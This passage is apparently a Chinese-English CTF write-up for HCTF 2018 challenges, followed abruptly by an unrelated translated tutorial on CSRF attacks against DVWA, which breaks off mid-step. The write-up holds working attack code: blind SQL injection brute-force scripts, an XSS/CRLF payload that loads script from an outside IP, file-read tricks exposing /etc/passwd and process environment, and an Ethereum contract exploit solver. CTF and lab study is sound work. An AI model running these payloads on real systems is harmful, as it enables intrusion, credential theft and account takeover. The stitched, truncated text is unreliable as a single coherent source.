#strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
#print url
#正常用法
r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
#用于burp调试
#r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
#print r.content
res=r.headers
#print "##################################"
# found=False
c_len = len(res)
if c_len==9:
return 1
return 0
if __name__ == "__main__":
#payloads = list(string.ascii_lowercase)
#payloads.append("_;")
payloads='0123456789abcdef'
#payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
user=''
for i in range(1,500):
for j in payloads:
print j
if catch(i,j)==1:
user=user+j
print "now %d user is %s" % (i,user)
break
#print catch(1,"5")
### admin
> view-source:<http://admin.2018.hctf.io/change>
> 有代码 <https://github.com/woadsl1234/hctf_flask>
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
u型编码注册就行了
### bottle
<script>
location.href='http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:200%0d%0a%0d%0a%3Cscript%20src%3dhttp://118.24.185.108/c.js?1541913080%3E%3C/script%3E';
</script>
### hide and seek
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
}
daemon off;
zip软连接读取文件
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false
目标 寻找到config.py
读`proc/self/environ`
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=7d8beb1a9aa4
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0
读
`/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py`，伪造session就拿到flag了
### Game | solved | working:
描述
crazy inject
URL <http://game.2018.hctf.io>
#encoding:utf-8
import requests
import string
import base64
import random
def catch(num,str1):
a=0
b=97
while(a<=b):
mid=(a+b)/2
tmp =hex(mid)[2:]
if len(tmp)==1:
tmp="0"+tmp
str2=str1+"%"+tmp
print str2
usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13))
url="http://game.2018.hctf.io/web2/action.php?action=reg"
data = 'username=%s&password=%s&sex=1&submit=submit' % (usernew,str2)
headers={"Content-Type": "application/x-www-form-urlencoded"}
#data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"}
#strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
#print url
#正常用法
r=requests.post(url,data=data,headers=headers,proxies={"http":"127.0.0.1:8080"})
#print r.content
#用于burp调试
#r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
#print r.content
sss = requests.get('http://game.2018.hctf.io/web2/user.php?order=password',headers={"Cookie":"PHPSESSID=p9op1amllrobs6okqfkih2vr40"}).content
index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\tadmin')
print usernew
index2=sss.index(usernew)
print index1
print index2
if index1 > index2:
b = mid -1
else:
a = mid +1
tmp =hex(a-1)[2:]
if len(tmp)==1:
tmp="0"+tmp
return "%"+tmp
#print "##################################"
# found=False
if __name__ == "__main__":
#payloads = list(string.ascii_lowercase)
#payloads.append("_;")
payloads='!"#$%&\'()*+,-./:;<=>?@0123456789abcdefghijklmnopqrstuvwxyz[\\]^_`{|}~'
#payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
user='%44%53%41%38%26%26%21%40%23%24%25'
for i in range(1,100):
user = user+catch(i,user)
print "now user is "+user
#catch(5,"dsa8<")
hctf{this_idea_h1t_me_whil3
## Crypto
### xor game
猜测xor key长度，字频分析
length = 21
xor_is_interesting!@#
### rsa?xor
已知$n,m_1^5\%n,(m_1\ xor\ k)^5\%n$
$n,m_1$ 2048bit, $k$ 40bit
Coppersmith’s short-pad attack
<http://inaz2.hatenablog.com/entry/2016/01/20/022936> 参考coppersmith经典文章直接出flag
## BlockChain
### Re:Ethereum from zero
This is a challenge about smart contract reversing, we were given the
`genesis.json` and the enode public key. We can use these to connect to the
private network. We can also get our private key from the team token and
import it into geth.
To get the first part of the flag, we need to satisfy:
`balance(player_account) > 0`. This is easy to achieve, by simply mining
several blocks.
In order to complete the second part, we need to find where the contracts are.
Using the following script we can have a brief overview of the blocks
containing transactions:
// loadScript() in geth
for(var i=0; i<eth.blockNumber;i++) {
var block = eth.getBlock(i);
if(block.transactions.length != 0) {
console.log("Block with tx: " + i.toString());
}
}
And the results:
Block with tx: 23
Block with tx: 49
Block with tx: 273
Block with tx: 4049
Block with tx: 4950
Block with tx: 5226
The first transaction is located at block 23, which creates a contract at
`0x628187b11ef814fe75dc9d33c813961b71153afc`. And sequentially the
transactions in block 49 and 273 interacts with the contract created by the
first transaction. By the time I got a little confused: where are the other
contracts mentioned in `hint2`?
So I decided to take a closer look at this contract. Using [ethervm
decompiler](https://ethervm.io/decompile) to decompile could give us a boost
(but this one has a lot of defects, I've heard lots of people already have
private EVM decompiler added to their inventory... sigh). Reversing result
showed it's actually a deployer contract, which will decrypt and create user
specified contract. To get the address of the newly created contracts, we need
to trace the transactions. `debug_traceTransaction` is a method exposed by
geth RPC, connecting [remix debugger](https://remix.ethereum.org/) to the RPC
will provide us a user-friendly GUI tracer. So we found the contract deployed
at `0x15ec709c5d749345a3bcfc36a5b6bb695aba51e4`.
There is only one function inside this contract and the logic looks like the
following psuedocode:
getFlag(uint256 private_key) returns (uint256) {
require(msg.sender == owner);
player = account address from private_key
storage = address(storage[2]).call.value(???)(player);
if(storage + player < storage) {
return 1;
}
return 0;
}
So this involves another contract, reading the storage gives us the final
contract at `0xc3dac37d5d3000a7fa70b574167fed36a8330a35`. I will skip the
details of most of the details involved when reversing this contract but there
are two points worth mentioning. Let's take a look at the basic logic of the
contract:
function xxx(address user_contract, uint256 fix) {
require(msg.value >= 1ether);
var2 = user_contract;
var3 = msg.value * block.number;
result = address(user_contract).call.value(xxx).gas(xxx)("0x95808366");
var2 += result;
address(user_contract).call.value(msg.value).gas(xxx)("0x");
require(balanceOf(user_contract) == 0); // 1
var4 = modexp(user_contract, E, N) ^ modexp(fix, E, N); // 2
stroage[var4] = var3;
return;
}
The first point is that you need to prevent the contract from receiving funds.
I solved this by placing `selfdestruct` operation inside the fallback
function.
The second point is the `modexp` function. When reversing, I encountered the
following statement: `address(0x5).staticcall.gas(xxx)(data)`. By googling
`contract at 0x5` I found
[this](https://ethereum.stackexchange.com/questions/15479/list-of-pre-compiled-contracts) and [this](https://github.com/zcoinofficial/solidity-BigNumber/blob/master/contracts/BigNumber.sol).
After reversing, solving the challenge is a cakewalk.
Solver (unstripped):
// loadScript(xxx);
var account = eth.accounts[0];
var contract = "0xc3dac37d5d3000a7fa70b574167fed36a8330a35";
personal.unlockAccount(account);
var f1_hash = "0x031c62e3";
var query_hash = "0xad5e5a94";
var f2_hash = "0x77df37f0";
//var deployed = "0x6db2520cf6a8a9403b1b1313b6e2811b35f16ac2";
//var deployed = "0xdbc59c25a00b207dc029b9370a5e5167761bad8b";
//var deployed = "0x926fadd79df9f2f820c62477f50c1fd895fa7d7c";
//var deployed = "0x838851629f16b674a6261ca8636c1bb598a55c3e";
//var deployed = "0x3af5135eb80dd58cb35a503c68d3f1a08f09a4fb";
var deployed = "0xb1fc178e43883677ce73bf67e5cbc84fcd16afc6";
var R = "0x95808366";
//var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102cc806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea146100645780638da5cb5b1461007b57806395808366146100d2578063a6f9dae1146100fd575b005b34801561007057600080fd5b50610079610140565b005b34801561008757600080fd5b506100906101d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100de57600080fd5b506100e76101fa565b6040518082815260200191505060405180910390f35b34801561010957600080fd5b5061013e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610202565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561019b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561025d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820de3cfb222d167622bfe19ea89e607e9b6907886908732e4edf8aa9d2ed0807350029";
//var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610304806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea1461009c5780638da5cb5b146100b3578063958083661461010a578063a6f9dae114610135575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b3480156100a857600080fd5b506100b1610178565b005b3480156100bf57600080fd5b506100c861020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011657600080fd5b5061011f610232565b6040518082815260200191505060405180910390f35b34801561014157600080fd5b50610176600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101d357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561029557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820f5905b954001c3308581f6fff0d14551e4ddc701560e614bcb77cc76727417e60029";
var patched = "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610324806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326882dea1461009c5780638da5cb5b146100b3578063958083661461010a578063a6f9dae114610135575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b3480156100a857600080fd5b506100b1610178565b005b3480156100bf57600080fd5b506100c861020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011657600080fd5b5061011f610232565b6040518082815260200191505060405180910390f35b34801561014157600080fd5b50610176600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061025a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101d357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007fffffffffffffffffffffffffffffffffffffffffff799ba3a6dd4859643fffff905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820a3acbab5723d0e982e0c6dd2434b425c25b969948e1baf30a46341e421954c630029";
var GAS = 300000;
var GAS_PRICE = 1000000000;
var VALUE_REQ = 1000000000000000000; // 1 ether
String.prototype.leftJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return fill.join('') + this;
}
String.prototype.rightJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return this + fill.join('');
}
function address2uint(address) {
return "000000000000000000000000" + address.substr(2);
}
function num2uint(number) {
return number.toString(16).leftJustify(64, '0');
}
function nonce() {
return eth.getTransactionCount(eth.accounts[0], "pending");
}
function query(address) {
return eth.sendTransaction({
from: account,
to: contract,
gas: GAS,
gasPrice: GAS_PRICE,
value: 0,
data: query_hash + address2uint(address),
nonce: nonce(),
});
}
function f1() {
return eth.sendTransaction({
from: account,
to: contract,
gas: GAS,
gasPrice: GAS_PRICE,
value: 0,
data: f1_hash,
nonce: nonce(),
});
}
function f2(address, arg2) {
return eth.sendTransaction({
from: account,
to: contract,
gas: GAS,
gasPrice: GAS_PRICE,
value: VALUE_REQ,
data: f2_hash + address2uint(address) + arg2,
nonce: nonce(),
});
}
function deploy(contract_bin) {
return eth.sendTransaction({
from: account,
gas: GAS,
gasPrice: GAS_PRICE,
data: contract_bin,
nonce: nonce(),
});
}
function sendFunds(address, value) {
return eth.sendTransaction({
from: account,
to: address,
gas: GAS,
gasPrice: GAS_PRICE,
data: "0x",
nonce: nonce(),
value: value,
});
}
//var tx = query(account);
//var tx = f1();
//var tx = f2(deployed, "79f9e53750ebc17fd78a90e03153915167b90d560ffd6a9063874df53f7230f4");
var tx = f2(deployed, "2efab4b2d704641cb1eca1241ed3a17924605f7eeb91ec5f0dd37e0846691a8a");
//var tx = deploy(patched);
//var tx = sendFunds(deployed, 10000000);
console.log(tx);
### ez2win
~~大概需要逆一下~~
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
开源了，既然有人做出来了直接抄作业就行。。。
先approve再_transfer任意转账
## MISC
### freq game
from pwn import *
from scipy.fftpack import fft,ifft
p = remote('150.109.119.46', 6775)
p.recvuntil('to get hint:')
p.sendline('y')
p.recvuntil('token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
for i in xrange(8):
data = p.recvuntil(']').strip()
y = eval(data)
yf = abs(fft(y))
ans = []
for i in xrange(255):
if (yf[i] > 1000):
print i, yf[i]
ans.append(i)
print ans
p.sendline("%d %d %d %d" % (ans[0], ans[1], ans[2], ans[3]))
p.interactive()
### eazy dump
看上去是个vmware的内存镜像
和这个有点像
<https://www.jianshu.com/p/6438bc3302c8>
基本信息获取：
volatility -f mem.data imageinfo
Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search...
Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
AS Layer1 : AMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/mem.data)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80004035070
Number of Processors : 4
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff80004036d00L
KPCR for CPU 1 : 0xfffff880009ee000L
KPCR for CPU 2 : 0xfffff88004568000L
KPCR for CPU 3 : 0xfffff880045dd000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2018-11-07 08:26:52 UTC+0000
Image local date and time : 2018-11-07 16:26:52 +0800
枚举用户：
volatility -f mem.data --profile=Win2008R2SP0x64 printkey -K
"SAM\Domains\Account\Users\Names"
Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile
* * *
Registry: \SystemRoot\System32\Config\SAM
Key name: Names (S)
Last updated: 2018-11-05 14:22:03 UTC+0000
Subkeys:
(S) Administrator
(S) Guest
(S) veritas501
Values:
REG_DWORD : (S) 0
查看进程：
volatility -f mem.data --profile=Win2008R2SP0x64
根据题目名称dump,应该是把某个进程的内存数据用memdump提取出来：
volatility -f mem.data memdump -p 'pid' -D '/path'
dump画图的内存
用GIMP翻内存
### Difficult programming language
是个键盘流量包
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;"VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~
malbolge
找了个解析器发现有非法字符，强行改代码无视非法字符以后解到一个flag，但是不太对
Q7猜出了Flag，tql
### Guess My Key
应该不是一个太复杂的网络吧，
猜一个
反向传播算法写糊了，我再去学习一波。。。
写什么bp，还是逐位爆破来得快。。。。。。
import requests
import json
import random
# test = 'http://150.109.62.46:13577/enc?msg='
# for _ in xrange(96):
# test += '1,'
# test = test[:-1]
#
# g = r.json()
# flag_en = g['raw_cipher']
# print(flag_en)
def list2str(l):
res = ''
for i in l:
res += str(i) + ','
return res[:-1]
def calc(guess_en,flag_en):
res = []
for i in xrange(96):
res.append((guess_en[i]-flag_en[i]))
return res
def random_input():
res = []
for _ in xrange(96):
res.append(random.randint(0,1))
return res
def get_res(p,f=None):
p = list2str(p)
g_url = 'http://150.109.62.46:13577/enc?msg=%s&key=%s'
p_url = 'http://150.109.62.46:13577/enc?msg=%s'
if f is None:
r = requests.get(p_url % p)
else:
f = list2str(f)
r = requests.get(g_url % (p,f))
g = r.json()
en = g['raw_cipher']
res = []
for _ in en.split(','):
res.append(float(_))
return res
def bp(s,guess_out,real_out,guess_flag):
last = calc(guess_out,real_out)
for i in xrange(96):
guess_flag[i] -= last[i]*((guess_out[i]) * (1-guess_out[i]))
#print(guess_flag)
return guess_flag
def cost(g,r):
res = 0.0
for i in xrange(96):
res+= ((g[i]-r[i])*(g[i]-r[i])) * 100
return res
def toint(l):
res = []
for i in l:
t = round(i,1)
if t >1:
t = 1
if t < 0:
t = 0
res.append(t)
return res
while True:
guess_flag = [0] * 96
for i in xrange(96*20):
s = random_input()
ff = guess_flag[i%96]
guess_out = get_res(s,guess_flag)
t = guess_flag
t[i%96] = abs(1-ff)
guess_out2 = get_res(s,t)
flag_en = get_res(s)
c1 = cost(guess_out,flag_en)
c2 = cost(guess_out2,flag_en)
if c1 > c2:
print(c2)
guess_flag[i%96] = abs(1-ff)
else:
print(c1)
guess_flag[i%96] = ff
#guess_flag = bp(s,guess_out,flag_n,guess_flag)
#guess_flag = toint(guess_flag)
print(guess_flag) | 社区文章 |
# 【技术分享】CSRF 攻击场景分析与重现学习
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myles007](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**学习概要**
通过本篇文档我们可以更为接近实战的去学习和了解什么是CSRF漏洞、CSRF漏洞是到底如何产生的、在实际场景中被利用是如利用，以及一些在web安全测试用常用插件与工具的使用和技巧。本篇文稿中给出了两个场景的CSRF漏洞的利用过程复现：
（1）密码修改过程中产生的CSRF漏洞和利用
（2）后台管理添加过程中产生的CSRF漏洞和利用
文稿最近简单的罗列了下当前常用的避免csrf漏洞产生的方法和措施。
**1、CSRF 基本概念**
CSRF(Cross-site request
forgery)跨站请求伪造，黑客利用已经登录的用户，诱使其访问或者登录某个早已构造好的恶意链接或者页面，然后在用户毫不知情的情况下，以用户的名义完成了非用户本意的非法操作。这种攻击我们也被称为"One
Click Attack"或者Session
Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用行为。与XSS攻击相比，CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范，所以被认为比XSS更具危险性。
**2、CSRF 学习理解**
其实一个CSRF漏洞攻击的实现，其需要由“三个部分”来构成。
（1） 有一个无需后台验证的前台或后台数据修改或新增请求的漏洞存在；
（2） 伪装数据操作请求的恶意链接或者页面；
（3） 诱使用户主动访问或登录恶意链接，触发非法操作；
2.1 第一部分：漏洞的存在
关键字：跨站请求漏洞存（CSR:Cross Site Request）
如果需要CSRF攻击能够成功，首先就需要目标站点或系统存在一个可以进行数据修改或者新增操作，且此操作被提交后台后的过程中，其未提供任何身份识别或校验的参数。后台只要收到请求，就立即下发数据修改或新增的操作；
以上漏洞情况的存在，出现比较多的场景有用户密码的修改、购物地址的修改或后台管理账户的新增等等操作过程中。
2.2 第二部分：漏洞利用的伪装
关键字：伪装请求（F:forgery）
CSRF漏洞存在了，如果需要真正的被利用，还需要对“修改或新增”数据操作请求的伪装，此时恶意攻击者只要将伪装好的“数据修改或新增”的请求发送给被攻击者，或者通过社工的方式诱使被攻击者在其cookie还生效的情况下点击了此请求链接，即可触发csrf漏洞，成功修改或新增当前用户的数据信息，如修改当前用户的密码、又或者是当前用户为后台管理员，触发漏洞后新增了一个后台管理员。
2.3 第三部分：用户非本意的操作
关键字：非本意操作
当前用户在不知情的情况下，访问了黑客恶意构造的页面或在链接，即在非本意的情况下完成黑客想完成的“非法操作”，实现了对当前用户个人信息的恶意操作。
2.4 CSRF 漏洞理解小结
小结：构造一个恶意链接或者html页面
说一千道一万，我们要明白“CSRF漏洞的目的”是什么，其实就是利用已存在的漏洞构造了一个“恶意链接”或“html页面”，然后诱使用户点击触发此漏洞。
那么说的再明白点，就是被检测的目标站点存在一个漏洞（CSRF），攻击者利用此类漏洞伪装了一个链接或者html页面，诱使被攻击者在登录的情况下(即当前cookie有效的情况下）点击了此伪装请求，随后在用户不知情的情况下完成了对当前用户数据的修改或者新增操作，而被修改的信息可能是用户的密码、关键信息又或者新增后台管理员等。
**3、CSRF 场景重现**
以上说了这么多，都是在说基本概念的理解，接下来我会带着大家一起在实际中看看CSRF漏洞比较容易出现的地方，我们是如何一步一步发现这个漏洞和怎么利用它的，请大家屏住呼吸跟我来吧…
注:本篇文档主要给大家带来两个场景利用分析与学习。
3.1 密码修改之 CSRF 漏洞场景重现
有关于CSRF漏洞特别容易出现的地方就是有关用户信息数据修改的地方了，其中在一些商城网站平台出现最多的有用户密码的修改、邮寄地址的修改和账户转账等处，这里我们以用户密码修改为例，带着大家一起看看CSRF漏洞的产生过程以及怎么构造恶意链接和html页面。
为了大家自己动手练习，这以DVWA演练平台为演示环境，来跟大家一起学习下CSRF之用户密码修改漏洞的始末。
3.1.1 DVWA 漏洞环境搭建
有关于DVWA漏洞平台的搭建，这里不做过多的说明，具体内容大家可以参加网上的文章，参考搭建，这里给出相关参考链接。
参考链接：<http://www.freebuf.com/sectool/102661.html>
DVWA环境准备好后，我们即可直接输入用户名密码登录平台进行演练。（默认账号密码：admin/passowrd）
3.1.2 CSRF 漏洞之密码修改过程
我这里使用DVWA 的low
级别中的CSRF漏洞之密码修改，带着大家一起看看漏洞到底是什么样子的，首先先我们先看看存在CSRF漏洞环境下，密码的修改过程是怎样的。
（1） 进入密码修改界面
我们直接登录DVWA平台后，设置当前演练等级security=low级别，点击CSRF来到修改密码的操作界面；
（2） 修改当前用户admin密码
来到用户名密码修改界面后，我们发现当前修改页面操作很简单，直接输入新密码，做两次确认输入提交即可，无任何其他限制和要求；
（3） 密码修改后登陆确认
我在修改完用户名密码后，直接登出平台，做一次重新登陆，验证下用户密码是否修改成功。（这里我把表单passowrd字段的类型“password”去掉后，可以直接看到当前用户名密码的明文为123，点击提交后成功登陆，说明密码修改成功。）
3.1.3 CSRF 漏洞之发现分析
接下来我们通过专业的抓包工具，分析下密码修改过程中，数据的请求与提交过程，我们具体做了哪些动作。
3.1.3.1 burpsuite 抓包分析
（1）工具准备
•firefox 浏览器
•代理插件foxyproxy
•burpsuite 工具箱
firefox火狐浏览器没什么可说，burpsuite
抓包工具，同样大家肯定都是耳熟能详的，如果有不太了解的，建议大家还是找些资料去学习下，此工具应该是搞web安全人员的随身必备工具。
（2） foxyproxy 代理插件配置
这里只简单的说下有关foxyproxy插件配置，我们直接去firefox插件扩展中进行搜索，下载安装即可，配置也比较简单。只要右击菜单栏中foxyproxy图标，选择“选项”
– 选择工作模式“为全部URLs启用代理服务器” – 选中“默认代理” – 点击“编辑选中项目” – 添加代理的“IP地址”与“端口”即可。
以后每次使用代理时，只需要简单选择下配置选项即可，简单好用，推荐使用。
（3） burpsuite 抓包详解
OK，废话不多说，工具准备好了，咱们进入正题吧。
首先我们开启代理配置，打开burpsuite抓包工具，开启拦截模式，正式进行抓包模式。
通过burpsuite的抓包分析，我们可以发现整个修改密码的过程中，请求数据包中只携带了两个关键性的参数：
密码修改的3对 key:value值：password_new、password_conf、Change
当前用户的cookie值：PHPSESSID、Security
除此以外，整个密码修改的请求数据包中再也没有任何其他可以证明或者校验客户端请求的内容了，也就是因为没有任何其他的校验的存在，为黑客后续“跨站请求伪造”提供了可乘之机，也是漏洞产生的主要原因。
3.1.3.2 tamper data 抓包分析
当然除了是使用burpsuite抓包工具以为，我也可以使用其他的工具进行web请求内容的抓包与分析，这里简单在给大家分享一个使用 tamper
data插件抓包改包的分析工具。
（1） 工具准备
firefox 浏览器
tamper data 扩展插件
（2） tamper data 改包插件安装
tamper data 抓包改包工具，也是firefox浏览器扩展插件之一，故我们只要去扩展插件中搜索下载安装即可。
（3） tamper data 抓包分析
3.1.4 CSRF 漏洞利用
3.1.4.1 恶意链接伪造
对于挖掘目标站点存在密码修改的csrf漏洞后，我们如何利用它就是关键了，最简单的方法就是使用burpsuite抓包后，提取密码修改操作的GET请求的URL，然后通过相应的处理后，结合社工的方法诱骗他人点击链接，修改他人的账号密码信息，有关具体操作参见如下。
（1） 截断请求包，提取URL请求
URL提取值：[http://www.dvwa.com/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change](http://www.dvwa.com/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change)
（2）URL 链接伪装
在提起到存在csrf漏洞的URL请求后，我们可以直接把此URL进行缩短处理，进行简单的伪装处理后，结合社工的方法诱使被攻击对象点击触发漏洞利用。
3.1.4.2 恶意html表单伪造
伪造一个html页面相对上面简单的伪装一个链接来说，相对就更显高高级了，使用起来也更专业了，相对成功率也更高。这里收简单的描述下伪造html也的过程，后面会贴出每一步的具体操作。
•第一步：提取密码修改的URL请求；
•第二步：依照URL请求的格式，伪造一个form表达；
•第三步：诱使被攻击者点击恶意的html连接；
（1） 提取密码修改的URL请求
我们可以借助抓包工具burpsuite抓取密码修改操作的数据包，分析数据包的请求内容。
（2） 伪造form 表单
在分析修改密码数据请求内容后，我们可以手动构造一个简单的html表单页面，为csrf攻击做好准备；
（3） 诱使被攻击者点击恶意html链接
